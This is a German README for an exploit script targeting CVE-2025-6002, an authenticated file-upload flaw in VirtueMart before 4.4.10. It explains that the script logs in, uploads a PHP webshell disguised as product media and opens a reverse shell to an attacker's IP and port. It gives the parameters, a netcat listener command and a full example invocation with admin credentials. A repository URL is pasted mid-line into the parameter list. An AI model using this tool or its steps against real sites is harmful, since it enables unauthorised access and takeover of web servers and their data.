Exploit für CVE-2025-6002

Dieses Skript nutzt die authentifizierte Schwachstelle für beliebige Dateiuploads in VirtueMart < 4.4.10 (CVE-2025-6002) aus, die in diesem Blogbeitrag beschrieben ist: https://blog.blacklanternsecurity.com/p/doomla-zero-days

Dieses Skript meldet sich mit den angegebenen Anmeldedaten bei VirtueMart an, erstellt ein neues Produkt und lädt eine PHP-Webshell als Mediendatei hoch. Anschließend wird eine Reverse-Shell zur angegebenen IP/Port gestartet.

Parameter:

• --url: Die VirtueMart-URL
• --username: Admin-Benutzername
• --password: Admin-Passwort
• --remote-ip: IP-Adresse des Angreifershttps://github.com/schn1tzelme1ster/CVE-2025-6002/tree/main
• --remote-port: Port des Angreifers

Verwendung:

1. Netcat auf der Angreifer-Maschine ausführen:

nc -nlvp 1337

2. Den Exploit ausführen

python3 exploit.py --url http://x.x.x.x --username admin --password kartoffel --remote-ip x.x.x.x --remote-port 1337